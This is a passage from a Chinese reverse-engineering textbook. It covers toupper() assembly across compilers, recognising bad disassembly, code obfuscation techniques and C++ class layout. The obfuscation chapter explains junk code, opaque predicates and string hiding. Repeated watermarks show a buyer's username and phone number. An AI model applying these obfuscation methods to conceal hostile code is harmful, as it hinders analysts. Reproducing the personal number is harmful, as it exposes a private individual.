at this moment, $a0=loaded byte, $a2=0xD (CR symbol) and $a3=0xA (LF symbol) ; loaded byte is CR? jump to loc_7C then: beq $a0, $a2, loc_7C addiu $v0, -1 ; branch delay slot ; loaded byte is LF? jump to exit if its not LF': bne $a0, $a3, exit or $at, $zero ; branch delay slot, NOP loc_7C: ; loaded byte is CR at this moment 异步社区会员 dearfuture(15918834820) 专享 尊重版权 494 逆向工程权威指南(下册) ; jump to loc_5c (loop body begin) if str_len (in $v0) is not zero: bnez $v0, loc_5C ; simultaneously, store zero at that place in memory: sb $zero, 0($a1) ; branch delay slot ; "exit" label was named by me manually: exit: lw $ra, 0x20+saved_RA($sp) move $v0, $s0 lw $s0, 0x20+saved_S0($sp) jr $ra addiu $sp, 0x20 ; branch delay slot S-字头的寄存器就是保存寄存器(saved temporaries)。在过程调用过程中,保存寄存器的值需要保留 (被调用方函数保存和恢复),因此$S0 的值保存在局部栈里,在完成任务后恢复其初始状态。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4488 章 章 ttoouuppppeerr(())函 函数 数 本章讨论的是将小写字符转换成大写字符的 toupper()函数。这是一个比较常见的函数。 char toupper (char c) { if(c>='a' && c<='z') return c-'a'+'A'; else return c; } 这里的程序代码中,我们可以看到’a’+’A’这个表达式。这种写法旨在增强程序的可读性。在程序的实 际编译过程中,它会被优化为相应的计算指令。 ① 我们知道,小写的英文首字母 a 的 ASCII 码十六进制是 61,也就是十进制的 97;而大写的 A 的 ASCII 码的十六进制则是 41,相当于十进制的 65。很显然,在 ASCII 码表中,两者的差值是 32(0x20)。 实际上,我们从图 48.1 所示的这个 7 位标准 ASCII 码表格就能看得更清楚了。 图 48.1 EMACS 中的 7 位 ASCII 码表 48.1 x64 48.1.1 两个比较操作 非优化的 MSVC 非常直接:为了执行转换到大写字母的目的,程序首先检查输入的符号的十进制数值是否在 97~122 这个范围,也就是小写字母 a~z 的范围内。如果输入值满足这个条件,那么就将它的数值减去十进制的 32,从而得到相应的大写字母所对应的值了。非优化编译时,编译器同样会对代码进行小幅度的优化处理。 指令清单 48.1 x64 下的 MSVC 2013 非优化程序 1 c$ = 8 2 toupper PROC 3 mov BYTE PTR [rsp+8], cl 4 movsx eax, BYTE PTR c$[rsp] 5 cmp eax, 97 6 jl SHORT $LN2@toupper 7 movsx eax, BYTE PTR c$[rsp] 8 cmp eax, 122 9 jg SHORT $LN2@toupper 10 movsx eax, BYTE PTR c$[rsp] 11 sub eax, 32 12 jmp SHORT $LN3@toupper ① 然而,如果小心翼翼的话,还是有些编译器即使不用优化的办法,也能输出正确的结果。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 496 逆向工程权威指南(下册) 13 jmp SHORT $LN1@toupper ; compiler artefact 14 $LN2@toupper: 15 movzx eax, BYTE PTR c$[rsp] ; unnecessary casting 16 $LN1@toupper: 17 $LN3@toupper: ; compiler artefact 18 ret 0 19 toupper ENDP 需要注意的是:程序第 3 行把输入的字节装载到 64 位栈的那条指令。输入值显然是占据了 64 位的低 8 位,而其高位(从第 8 位到第 63 位)则保持不变。我们可以在调试器 debugger 里看到这高 56 位是随机 的噪音数据(也就是随机数)。因为所有指令都是以字节为操作对象,因此这种存储方案不会引发问题。第 15 行的最后一个 MOVZX 指令从本地栈里取出一个字节,把它无符号扩展为 32 位数据中,因此这高 56 位的噪音数据都会被填充为零。 而非优化的 GCC 生成的代码几乎相同。 指令清单 48.2 x64 下的 GCC 4.9 非优化代码 toupper: push rbp mov rbp, rsp mov eax, edi mov BYTE PTR [rbp-4], al cmp BYTE PTR [rbp-4], 96 jle .L2 cmp BYTE PTR [rbp-4], 122 jg .L2 movzx eax, BYTE PTR [rbp-4] sub eax, 32 jmp .L3 .L2: movzx eax, BYTE PTR [rbp-4] .L3: pop rbp ret 48.1.2 一个比较操作 优化的 MSVC 表现得更好,它只分配一个比较操作指令。 指令清单 48.3 x64 下的 MSVC 2013 优化程序 toupper PROC lea eax, DWORD PTR [rcx-97] cmp al, 25 ja SHORT $LN2@toupper movsx eax, cl sub eax, 32 ret 0 $LN2@toupper: movzx eax, cl ret 0 toupper ENDP 前面已经解释过了,如何用一个比较操作来代替两个(参见本书 42.2.1 节)。 如果用 C/C++重写,相应的源代码如下: int tmp=c-97; if (tmp>25) return c; else return c-32; 这里的变量 tmp 应当是一个有符号数。这里的转换过程采用了两个减法指令以及一个比较指令。而原 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 48 章 toupper()函数 497 来的算法是通过两个比较指令加一个减法指令来实现的。 优化的 GCC 算法更好,它不用跳转指令 JUMP,转而采用 CMOVcc 指令(参见 33.1 节)。 指令清单 48.4 x64 下的 GCC 4.9 优化程序 1 toupper: 2 lea edx, [rdi-97] ; 0x61 3 lea eax, [rdi-32] ; 0x20 4 cmp dl, 25 5 cmova eax, edi 6 ret 第三行的指令代码首先准备了要减去的数值 0x20(十六进制的 20,十进制的 32),这会给人一种印象, 好像减法总会发生似的。而第五行的指令,在不应进行转换(也就是不执行减法)的时候,把原始的输入数 据复制给 EAX 寄存器。可见它能在条件不成立的情况下舍弃错误的值。也就是说,编译器为了避免使用条 件转移指令而预先进行了减法运算。 48.2 ARM ARM 模式下的 Keil 优化也只有一个比较指令。 指令清单 48.5 ARM 模式下的 Keil 6/2013 优化程序 toupper PROC SUB r1,r0,#0x61 CMP r1,#0x19 SUBLS r0,r0,#0x20 ANDLS r0,r0,#0xff BX lr ENDP 从这里的程序我们可以看到,如果 R1 的值小于或等于 0x19(十六进制的 19),那么就会执行 SUBLS 指令和 ANDLS 指令。这两条指令实际执行的是转换大写字符的操作。 而 Thumb 模式下的 Keil 优化也可以通过单条比较指令进行大写转换。 指令清单 48.6 Thumb 模式下的 Keil 6/2013 的优化指令 toupper PROC MOVS r1,r0 SUBS r1,r1,#0x61 CMP r1,#0x19 BHI |L0.14| SUBS r0,r0,#0x20 LSLS r0,r0,#24 LSRS r0,r0,#24 |L0.14| BX lr ENDP 最后的两条指令(LSLS 和 LSRS)的整体作用其实就是“AND reg,0xFF”。用 C/C++表达式书写的话, 它就可以表示为“(i<<24)>>24”,也 就是先左移动 24 位,然后右移 24 位。显然,Thumbe 模式下的 Keil 认为,它们这里的 2 个双字节的指令比“AND reg,0xFF”的运行效率更高(后者要首先将 0xFF 载入寄存 器,然后做 And 与操作)。 48.2.1 ARM64 下的 GCC 指令清单 48.7 ARM64 下的非优化 GCC 4.9 toupper: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 498 逆向工程权威指南(下册) sub sp, sp, #16 strb w0, [sp,15] ldrb w0, [sp,15] cmp w0, 96 bls .L2 ldrb w0, [sp,15] cmp w0, 122 bhi .L2 ldrb w0, [sp,15] sub w0, w0, #32 uxtb w0, w0 b .L3 .L2: ldrb w0, [sp,15] .L3: add sp, sp, 16 ret 指令清单 48.8 ARM64 下的优化 GCC 4.9 toupper: uxtb w0, w0 sub w1, w0, #97 uxtb w1, w1 cmp w1, 25 bhi .L2 sub w0, w0, #32 uxtb w0, w0 .L2: ret 48.3 总结 本章演示的优化技术已经属于十分常见的编译器优化技术。逆向工程分析人员会频繁遇到这种类型的 汇编指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4499 章 章 不 不正 正确 确的 的反 反汇 汇编 编代 代码 码 在实际工程中,反编译工程师们经常会遇到一些不正确的反汇编代码。我们来看看如何处理。 49.1 x86 环境下的从一开始错误的反汇编 与 opcode 等长的 ARM 以及 MIPS 指令集(它们每个指令的 opcode 无非就是 2 个字节或 4 个字节长) 不同,x86 构架下的指令长度不尽相同。因此,若从 x86 程序的中间开始解析指令,无论什么分析工具都 会分析出错误的结果。 比如说: add [ebp-31F7Bh], cl dec dword ptr [ecx-3277Bh] dec dword ptr [ebp-2CF7Bh] inc dword ptr [ebx-7A76F33Ch] fdiv st(4), st db 0FFh dec dword ptr [ecx-21F7Bh] dec dword ptr [ecx-22373h] dec dword ptr [ecx-2276Bh] dec dword ptr [ecx-22B63h] dec dword ptr [ecx-22F4Bh] dec dword ptr [ecx-23343h] jmp dword ptr [esi-74h] xchg eax, ebp clc std db 0FFh db 0FFh mov word ptr [ebp-214h], cs ; <- disassembler finally found right track here mov word ptr [ebp-238h], ds mov word ptr [ebp-23Ch], es mov word ptr [ebp-240h], fs mov word ptr [ebp-244h], gs pushf pop dword ptr [ebp-210h] mov eax, [ebp+4] mov [ebp-218h], eax lea eax, [ebp+4] mov [ebp-20Ch], eax mov dword ptr [ebp-2D0h], 10001h mov eax, [eax-4] mov [ebp-21Ch], eax mov eax, [ebp+0Ch] mov [ebp-320h], eax mov eax, [ebp+10h] mov [ebp-31Ch], eax mov eax, [ebp+4] mov [ebp-314h], eax call ds:IsDebuggerPresent mov edi, eax lea eax, [ebp-328h] push eax call sub_407663 pop ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 500 逆向工程权威指南(下册) test eax, eax jnz short loc_402D7B 这里我们可以看到,解析出来的前几条指令毫无道理。但是后来反汇编工具逐渐走上了正轨。 49.2 随机噪音,怎么看起来像反汇编指令? 一般来说,我们可以从以下三点来判断,一段程序是由随机代码组成的还是正常的程序段:  不寻常的指令集合。一般来说,x86 最常见的指令是 PUSH、MOV、CALL 等。如果遇到了大杂 烩式的稀有指令大拼盘(浮点运算 FPU 指令、输入输出 IN/OUT 指令和很少见的一些系统指令混 在一起),多数情况就是反汇编过程出问题了。  又大又像是随机数的数值、偏移量以及立即数。  转移指令的偏移量不合逻辑,经常跳转到其他指令块的中间。 指令清单 49.1 x86 模式下的随机数噪声 mov bl, 0Ch mov ecx, 0D38558Dh mov eax, ds:2C869A86h db 67h mov dl, 0CCh insb movsb push eax xor [edx-53h], ah fcom qword ptr [edi-45A0EF72h] pop esp pop ss in eax, dx dec ebx push esp lds esp, [esi-41h] retf rcl dword ptr [eax], cl mov cl, 9Ch mov ch, 0DFh push cs insb mov esi, 0D9C65E4Dh imul ebp, [ecx], 66h pushf sal dword ptr [ebp-64h], cl sub eax, 0AC433D64h out 8Ch, eax pop ss sbb [eax], ebx aas xchg cl, [ebx+ebx*4+14B31Eh] jecxz short near ptr loc_58+1 xor al, 0C6h inc edx db 36h pusha stosb test [ebx], ebx sub al, 0D3h ; 'L' pop eax stosb loc_58: ; CODE XREF: seg000:0000004A test [esi], eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 49 章 不正确的反汇编代码 501 inc ebp das db 64h pop ecx das hlt pop edx out 0B0h, al lodsb push ebx cdq out dx, al sub al, 0Ah sti outsd add dword ptr [edx], 96FCBE4Bh and eax, 0E537EE4Fh inc esp stosd cdq push ecx in al, 0CBh mov ds:0D114C45Ch, al mov esi, 659D1985h 指令清单 49.2 x86-64 下的随机数噪声 lea esi, [rax+rdx*4+43558D29h] loc_AF3: ; CODE XREF: seg000:0000000000000B46 rcl byte ptr [rsi+rax*8+29BB423Ah], 1 lea ecx, cs:0FFFFFFFFB2A6780Fh mov al, 96h mov ah, 0CEh push rsp lods byte ptr [esi] db 2Fh ; / pop rsp db 64h retf 0E993h cmp ah, [rax+4Ah] movzx rsi, dword ptr [rbp-25h] push 4Ah movzx rdi, dword ptr [rdi+rdx*8] db 9Ah rcr byte ptr [rax+1Dh], cl lodsd xor [rbp+6CF20173h], edx xor [rbp+66F8B593h], edx push rbx sbb ch, [rbx-0Fh] stosd int 87h db 46h, 4Ch out 33h, rax xchg eax, ebp test ecx, ebp movsd leave push rsp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 502 逆向工程权威指南(下册) db 16h xchg eax, esi pop rdi loc_B3D: ; CODE XREF: seg000:0000000000000B5F mov ds:93CA685DF98A90F9h, eax jnz short near ptr loc_AF3+6 out dx, eax cwde mov bh, 5Dh ; ']' movsb pop rbp 指令清单 49.3 ARM 模式下的随机数噪声 BLNE 0xFE16A9D8 BGE 0x1634D0C SVCCS 0x450685 STRNVT R5, [PC],#-0x964 LDCGE p6, c14, [R0],#0x168 STCCSL p9, c9, [LR],#0x14C CMNHIP PC, R10,LSL#22 FLDMIADNV LR!, {D4} MCR p5, 2, R2,c15,c6, 4 BLGE 0x1139558 BLGT 0xFF9146E4 STRNEB R5, [R4],#0xCA2 STMNEIB R5, {R0,R4,R6,R7,R9-SP,PC} STMIA R8, {R0,R2-R4,R7,R8,R10,SP,LR}^ STRB SP, [R8],PC,ROR#18 LDCCS p9, c13, [R6,#0x1BC] LDRGE R8, [R9,#0x66E] STRNEB R5, [R8],#-0x8C3 STCCSL p15, c9, [R7,#-0x84] RSBLS LR, R2, R11,ASR LR SVCGT 0x9B0362 SVCGT 0xA73173 STMNEDB R11!, {R0,R1,R4-R6,R8,R10,R11,SP} STR R0, [R3],#-0xCE4 LDCGT p15, c8, [R1,#0x2CC] LDRCCB R1, [R11],-R7,ROR#30 BLLT 0xFED9D58C BL 0x13E60F4 LDMVSIB R3!, {R1,R4-R7}^ USATNE R10, #7, SP,LSL#11 LDRGEB LR, [R1],#0xE56 STRPLT R9, [LR],#0x567 LDRLT R11, [R1],#-0x29B SVCNV 0x12DB29 MVNNVS R5, SP,LSL#25 LDCL p8, c14, [R12,#-0x288] STCNEL p2, c6, [R6,#-0xBC]! SVCNV 0x2E5A2F BLX 0x1A8C97E TEQGE R3, #0x1100000 STMLSIA R6, {R3,R6,R10,R11,SP} BICPLS R12, R2, #0x5800 BNE 0x7CC408 TEQGE R2, R4,LSL#20 SUBS R1, R11, #0x28C BICVS R3, R12, R7,ASR R0 LDRMI R7, [LR],R3,LSL#21 BLMI 0x1A79234 STMVCDB R6, {R0-R3,R6,R7,R10,R11} 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 49 章 不正确的反汇编代码 503 EORMI R12, R6, #0xC5 MCRRCS p1, 0xF, R1,R3,c2 指令清单 49.4 ARM 的 Thumb 模式下的随机数噪声 LSRS R3, R6, #0x12 LDRH R1, [R7,#0x2C] SUBS R0, #0x55 ; 'U' ADR R1, loc_3C LDR R2, [SP,#0x218] CMP R4, #0x86 SXTB R7, R4 LDR R4, [R1,#0x4C] STR R4, [R4,R2] STR R0, [R6,#0x20] BGT 0xFFFFFF72 LDRH R7, [R2,#0x34] LDRSH R0, [R2,R4] LDRB R2, [R7,R2] DCB 0x17 DCB 0xED STRB R3, [R1,R1] STR R5, [R0,#0x6C] LDMIA R3, {R0-R5,R7} ASRS R3, R2, #3 LDR R4, [SP,#0x2C4] SVC 0xB5 LDR R6, [R1,#0x40] LDR R5, =0xB2C5CA32 STMIA R6, {R1-R4,R6} LDR R1, [R3,#0x3C] STR R1, [R5,#0x60] BCC 0xFFFFFF70 LDR R4, [SP,#0x1D4] STR R5, [R5,#0x40] ORRS R5, R7 loc_3C ; DATA XREF: ROM:00000006 B 0xFFFFFF98 指令清单 49.5 MIPS(小端)下的随机数噪声 lw $t9, 0xCB3($t5) sb $t5, 0x3855($t0) sltiu $a2, $a0, -0x657A ldr $t4, -0x4D99($a2) daddi $s0, $s1, 0x50A4 lw $s7, -0x2353($s4) bgtzl $a1, 0x17C5C .byte 0x17 .byte 0xED .byte 0x4B # K .byte 0x54 # T lwc2 $31, 0x66C5($sp) lwu $s1, 0x10D3($a1) ldr $t6, -0x204B($zero) lwc1 $f30, 0x4DBE($s2) daddiu $t1, $s1, 0x6BD9 lwu $s5, -0x2C64($v1) cop0 0x13D642D bne $gp, $t4, 0xFFFF9EF0 lh $ra, 0x1819($s1) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 504 逆向工程权威指南(下册) sdl $fp, -0x6474($t8) jal 0x78C0050 ori $v0, $s2, 0xC634 blez $gp, 0xFFFEA9D4 swl $t8, -0x2CD4($s2) sltiu $a1, $k0, 0x685 sdc1 $f15, 0x5964($at) sw $s0, -0x19A6($a1) sltiu $t6, $a3, -0x66AD lb $t7, -0x4F6($t3) sd $fp, 0x4B02($a1) 我们必须注意的一点是:一些编写良好的解压包或者加密程序代码(也包括一些变形代码),从代码来 看也很像是随机数指令序列,然而一旦运行起来则是非常正确的。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5500 章 章 混 混 淆 淆 技 技 术 术 代码混淆技术是一种用于阻碍逆向工程分析人员解析程序代码(或功能)的指令处理技术。 50.1 字符串变换 我们在第 57 章可看到,在逆向工程的过程中字符串经常起到路标的作用。注意到这个问题的编程人员 就会着手解决这个问题。他们会采用一些变换的手法,让他人不能直接通过 IDA 或者 16 进制编辑器直接 搜索到字符串原文。 这里我们举一个简单的例子。 比方说,我们可以这样构造一个字符串: mov byte ptr [ebx], 'h' mov byte ptr [ebx+1], 'e' mov byte ptr [ebx+2], 'l' mov byte ptr [ebx+3], 'l' mov byte ptr [ebx+4], 'o' mov byte ptr [ebx+5], ' ' mov byte ptr [ebx+6], 'w' mov byte ptr [ebx+7], 'o' mov byte ptr [ebx+8], 'r' mov byte ptr [ebx+9], 'l' mov byte ptr [ebx+10], 'd' 当然还有更为复杂的构造方法: mov ebx, offset username cmp byte ptr [ebx], 'j' jnz fail cmp byte ptr [ebx+1], 'o' jnz fail cmp byte ptr [ebx+2], 'h' jnz fail cmp byte ptr [ebx+3], 'n' jnz fail jz it_is_john 不管是以上的哪种情况,我们用十六进制的文本编译器都不能直接搜索到字符串原文。 实际上这两种方法适用于那些无法利用数据段构造数据的情景。因为它们可以在文本段直接构造数据, 所以也常见于各种 PIC 和 shellcode。 另外,笔者还见过这样使用 sprintf()函数的: sprintf(buf, "%s%c%s%c%s", "hel",'l',"o w",'o',"rld"); 代码看起来很诡异,但是作为一个简单的反编译技巧来说,也不失为一个好办法。 加密存储字符串是另一种常见的处理方法。只是这样一来,就要在每次使用前对字符串解密。相关的 例子可以参看第 78 章第 2 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 506 逆向工程权威指南(下册) 50.2 可执行代码 50.2.1 插入垃圾代码 在正常执行指令序列中插入一些虽然可被执行但是没有任何作用的指令,本身就是一种代码混淆 技术。 我们可以看一个简单的例子。 指令清单 50.1 源代码 add eax, ebx mul ecx 指令清单 50.2 采用混淆技术后的代码 xor esi, 011223344h ; garbage add esi, eax ; garbage add eax, ebx mov edx, eax ; garbage shl edx, 4 ; garbage mul ecx xor esi, ecx ; garbage 在程序代码中插入的混淆指令,调用了源程序不会使用的 ESI 和 EDX 寄存器。混淆代码利用了源程 序的中间之后,大幅度地增加了反编译的难度,何乐不为呢? 50.2.2 用多个指令组合代替原来的一个指令  MOV op1,op2 这条指令,可以使用组合指令代替:PUSH op2, POP op1。  JMP label 指令可以用 PUSH label, RET 这个指令对代替。反编译工具 IDA 不能识别出这种 label 标签的调用结构。  CALL label 指令则可以用以下三个指令代替:PUSH {call 指令后面的那个 label}、PUSH label 和 RET 指令。  PUSH op 可以用以下的指令代替。SUB ESP,4 或 8; MOV [ESP],操作符。 50.2.3 始终执行或者从来不会执行的代码 在下面的代码中,假定此处 ESI 的值肯定是 0,那么我们可以在 fake luggage 处插入任意长度和复杂度 的指令,以达到混淆的目的。这种混淆技术称为不透明谓词(opaque predicate)。 mov esi, 1 ... ; some code not touching ESI dec esi ... ; some code not touching ESI cmp esi, 0 jz real_code ; fake luggage real_code: 我们还可以看看其他的例子(同样,我们假定 ESI 始终会是零)。 add eax, ebx ; real code mul ecx ; real code add eax, esi ; opaque predicate. XOR, AND or SHL, etc, can be here instead of ADD. 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 50 章 混 淆 技 术 507 50.2.4 把指令序列搞乱 instruction 1 instruction 2 instruction 3 上面的 3 行正常执行的指令序列可以用如下所示的复杂结构代替: begin: jmp ins1_label ins2_label: instruction 2 jmp ins3_label ins3_label: instruction 3 jmp exit: ins1_label: instruction 1 jmp ins2_label exit: 50.2.5 使用间接指针 dummy_data1 db 100h dup (0) message1 db 'hello world',0 dummy_data2 db 200h dup (0) message2 db 'another message',0 func proc ... mov eax, offset dummy_data1 ; PE or ELF reloc here add eax, 100h push eax call dump_string ... mov eax, offset dummy_data2 ; PE or ELF reloc here add eax, 200h push eax call dump_string ... func endp 这个程序执行时,我们只能在 IDA 编译工具中看到 dummy_data1 和 dummy_data2 的 reference(调用信 息)。它不能正常反馈字符串正体 message1 和 message2 的调用信息。 全局变量或者函数也可以这样混淆。 50.3 虚拟机以及伪代码 编程人员可以构建其自身的 PL 或者 ISA 解释器(类似 VB.NET 或者 Java)。这样 的话,反编译者就得 花很多时间来理解这些解释器指令的意义以及细节。当然,他们基本上必须开发一种专用的反汇编或者反 编译工具了。 50.4 一些其他的事情 笔者对 Tiny C 编译器做了一些修改,然后用它编译了一个小程序(参见 url: http://go.yurichev.com/17220)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 508 逆向工程权威指南(下册) 请分析该程序的具体功能(参见 G.1.13)。 50.5 练习题 50.5.1 练习 1 这是一个很短的程序,采用打了补丁的 Tiny C 编译器编译。看看它能做什么? 答案请参见 G.1.15。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5511 章 章 CC++++ 51.1 类 51.1.1 一个简单的例子 从汇编层面看,C++类(class)的组织方式和结构体数据完全一致。 我们演示一个含有两个变量、两个结构体以及一个方法的类型数据: #include <stdio.h> class c { private: int v1; int v2; public: c() // default ctor { v1=667; v2=999; }; c(int a, int b) // ctor { v1=a; v2=b; }; void dump() { printf ("%d; %d\n", v1, v2); }; }; int main() { class c c1; class c c2(5,6); c1.dump(); c2.dump(); return 0; }; MSVC –x86 使用 MSVC 编译上述程序,可得到如下所示的代码。 指令清单 51.1 MSVC _c2$ = -16 ; size = 8 _c1$ = -8 ; size = 8 _main PROC push ebp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 510 逆向工程权威指南(下册) mov ebp, esp sub esp, 16 lea ecx, DWORD PTR _c1$[ebp] call ??0c@@QAE@XZ ; c::c push 6 push 5 lea ecx, DWORD PTR _c2$[ebp] call ??0c@@QAE@HH@Z ; c::c lea ecx, DWORD PTR _c1$[ebp] call ?dump@c@@QAEXXZ ; c::dump lea ecx, DWORD PTR _c2$[ebp] call ?dump@c@@QAEXXZ ; c::dump xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP 我们来看看程序是如何实现的。程序为每个对象(类的实例)分配了 8 个字节内存,正好能存储 2 个 变量。 在初始化 c1 时,编译器调用了无参构造函数??0c@@QAE@XZ。在初始化另一个实例(即 c2)时, 编译器向有参构造函数??0c@@QAE@HH@Z 传递了 2 个参数。 在传递整个类对象(C++的术语是 this)的指针时,this 指针通过 ECX 寄存器传递给被调用方函数。 这种调用规范应当符合 thiscall 规范,详细讲解请参阅本书的 51.1.1 节。 MSVC 通过 ECX 寄存器传递 this 指针。不过,这种调用约定并没有统一的技术规范。GCC 编译器以 传递第一个函数的参数的方式传递 this 指针,其他的编译器多数都遵循了 GCC 的 thiscall 规范。 为什么这些函数有这些很奇怪的名字(见上面)?其实这是编译器对函数名称进行的名称改编(name mangling)的结果。 C++的类可能包含同名的但是参数不同的方法(即类成员函数)。这就是所谓的多态性。当然,不同的 类可以有重名却不同的方法。 名称改编(name mangling)是一种在编译过程中,用 ASCII 字符串将函数、变量的名称重新改编的机 制。改编后的方法(类成员函数)名称就被用作该程序内部的函数名。这完全是因为编译器的 Linker 和加 载 DLL 的 OS 装载器均不能识别 C++或 OOP(面向对象的编程语言)的数据结构。 函数 dump()调用了两次。我们再来看看构造函数的指令代码。 指令清单 51.2 MSVC _this$ = -4 ; size = 4 ??0c@@QAE@XZ PROC ; c::c, COMDAT ; _this$ = ecx push ebp mov ebp, esp push ecx mov DWORD PTR _this$[ebp], ecx mov eax, DWORD PTR _this$[ebp] mov DWORD PTR [eax], 667 mov ecx, DWORD PTR _this$[ebp] mov DWORD PTR [ecx+4], 999 mov eax, DWORD PTR _this$[ebp] mov esp, ebp pop ebp ret 0 ??0c@@QAE@XZ ENDP ; c::c _this$ = -4 ; size = 4 _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 511 ??0c@@QAE@HH@Z PROC ; c::c, COMDAT ; _this$ = ecx push ebp mov ebp, esp push ecx mov DWORD PTR _this$[ebp], ecx mov eax, DWORD PTR _this$[ebp] mov ecx, DWORD PTR _a$[ebp] mov DWORD PTR [eax], ecx mov edx, DWORD PTR _this$[ebp] mov eax, DWORD PTR _b$[ebp] mov DWORD PTR [edx+4], eax mov eax, DWORD PTR _this$[ebp] mov esp, ebp pop ebp ret 8 ??0c@@QAE@HH@Z ENDP ; c::c 构造函数本身就是一种函数,它们使用 ECX 寄存器存储结构体的指针,然后将指针复制到其自己的 局部变量里。当然,第二步并不是必须的。 从 C++的标准(ISO13, P.12.1)可知,构造函数不必返回返回值。事实上,从指令层面来来看,构造 函数的返回值是一个新建立的对象的指针,即 this 指针。 现在我们来看看 dump()。 指令清单 51.3 MSVC _this$ = -4 ; size = 4 ?dump@c@@QAEXXZ PROC ; c::dump, COMDAT ; _this$ = ecx push ebp mov ebp, esp push ecx mov DWORD PTR _this$[ebp], ecx mov eax, DWORD PTR _this$[ebp] mov ecx, DWORD PTR [eax+4] push ecx mov edx, DWORD PTR _this$[ebp] mov eax, DWORD PTR [edx] push eax push OFFSET ??_C@_07NJBDCIEC@?$CFd?$DL?5?$CFd?6?$AA@ call _printf add esp, 12 mov esp, ebp pop ebp ret 0 ?dump@c@@QAEXXZ ENDP ; c::dump 很简单,dump()函数从 ECX 寄存器读取一个指向数据结构(这个结构体含有 2 个 int 型数据)的指针, 然后再把这两个整型数据传递给 printf()函数。 如果指定优化编译参数/Ox 的话,那么 MSVC 能够生成更短的可执行程序。 指令清单 51.4 MSVC (优化编译) ??0c@@QAE@XZ PROC ; c::c, COMDAT ; _this$ = ecx mov eax, ecx mov DWORD PTR [eax], 667 mov DWORD PTR [eax+4], 999 ret 0 ??0c@@QAE@XZ ENDP ; c::c _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 512 逆向工程权威指南(下册) ??0c@@QAE@HH@Z PROC ; c::c, COMDAT ; _this$ = ecx mov edx, DWORD PTR _b$[esp-4] mov eax, ecx mov ecx, DWORD PTR _a$[esp-4] mov DWORD PTR [eax], ecx mov DWORD PTR [eax+4], edx ret 8 ??0c@@QAE@HH@Z ENDP ; c::c ?dump@c@@QAEXXZ PROC ; c::dump, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx+4] mov ecx, DWORD PTR [ecx] push eax push ecx push OFFSET ??_C@_07NJBDCIEC@?$CFd?$DL?5?$CFd?6?$AA@ call _printf add esp, 12 ret 0 ?dump@c@@QAEXXZ ENDP ; c::dump 优化编译生产的代码就这么短。我们需要注意的是:在调用构造函数之后,栈指针不是通过“add esp, x”指令到恢复其初始状态的。另一方面,构造函数的最后一条指令是指令 ret 8 而不是 RET。 这是因为此处不仅遵循了 thiscall 调用规范(参见 51.1.1 节),而且还同时遵循 stdcall 调用规范(64.2 节)。Stdcall 规范约定:应当由被调用方函数(而不是由调用方函数)恢复参数栈的初始状态。构造函数 (也是本例中的被调用方函数)使用“add ESP,x”的指令把本地栈释放 x 字节,然后把程序控制权传递给 调用方函数。 读者还可以参考本书第 64 章,了解各调用规范的详细约定。 必须指出的是,编译器自身能决定调用构造函数和析构函数。我们则可以通过 C++语言的编程基础找到 程序中的相应指令。 MSVC-x86-64 在 x86-64 环境里的 64 位应用程序使用 RCX、RDX、R8 以及 R9 这 4 个寄存器传递函数的前 4 项参数, 而其他的参数则通过栈传递。然而,在调用那些涉及类成员函数的时候,编译器会通过 RCX 寄存器传递 类对象的 this 指针,用 RDX 寄存器传递函数的第一个参数,依此类推。我们 可以在类成员函数 c(int a,int b) 中看到这一点。 指令清单 51.5 x64 下的 MSVC 2012 优化 ; void dump() ?dump@c@@QEAAXXZ PROC ; c::dump mov r8d, DWORD PTR [rcx+4] mov edx, DWORD PTR [rcx] lea rcx, OFFSET FLAT:??_C@_07NJBDCIEC@?$CFd?$DL?5?$CFd?6?$AA@ ; '%d; %d' jmp printf ?dump@c@@QEAAXXZ ENDP ; c::dump ; c(int a, int b) ??0c@@QEAA@HH@Z PROC ; c::c mov DWORD PTR [rcx], edx ; 1st argument: a mov DWORD PTR [rcx+4], r8d ; 2nd argument: b mov rax, rcx ret 0 ??0c@@QEAA@HH@Z ENDP ; c::c ; default ctor 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 513 ??0c@@QEAA@XZ PROC ; c::c mov DWORD PTR [rcx], 667 mov DWORD PTR [rcx+4], 999 mov rax, rcx ret 0 ??0c@@QEAA@XZ ENDP ; c::c 64 位环境下 ① GCC-x86 的int型数据依然是 32 位数据。因此,上述程序仍然使用 32 位寄存器传递整型数据。 类成员函数 dump()还使用了 JMP printf 指令取代了 RET 指令。我们在 13.1.1 节中已经见过这个 hack 了。 除了个别不同之处以外,GCC 4.4.1 的编译方式和 MSVC 2012 的编译手段几乎一样。 指令清单 51.6 GCC 4.4.1 public main main proc near var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 20h lea eax, [esp+20h+var_8] mov [esp+20h+var_20], eax call _ZN1cC1Ev mov [esp+20h+var_18], 6 mov [esp+20h+var_1C], 5 lea eax, [esp+20h+var_10] mov [esp+20h+var_20], eax call _ZN1cC1Eii lea eax, [esp+20h+var_8] mov [esp+20h+var_20], eax call _ZN1c4dumpEv lea eax, [esp+20h+var_10] mov [esp+20h+var_20], eax call _ZN1c4dumpEv mov eax, 0 leave retn main endp 这里我们可以看到另外一种风格的名称改编方法,当然这应当是GNU ② ① 很明显,这是为了使 64 位系统向下兼容 32 位的 C/C++应用程序。 ② 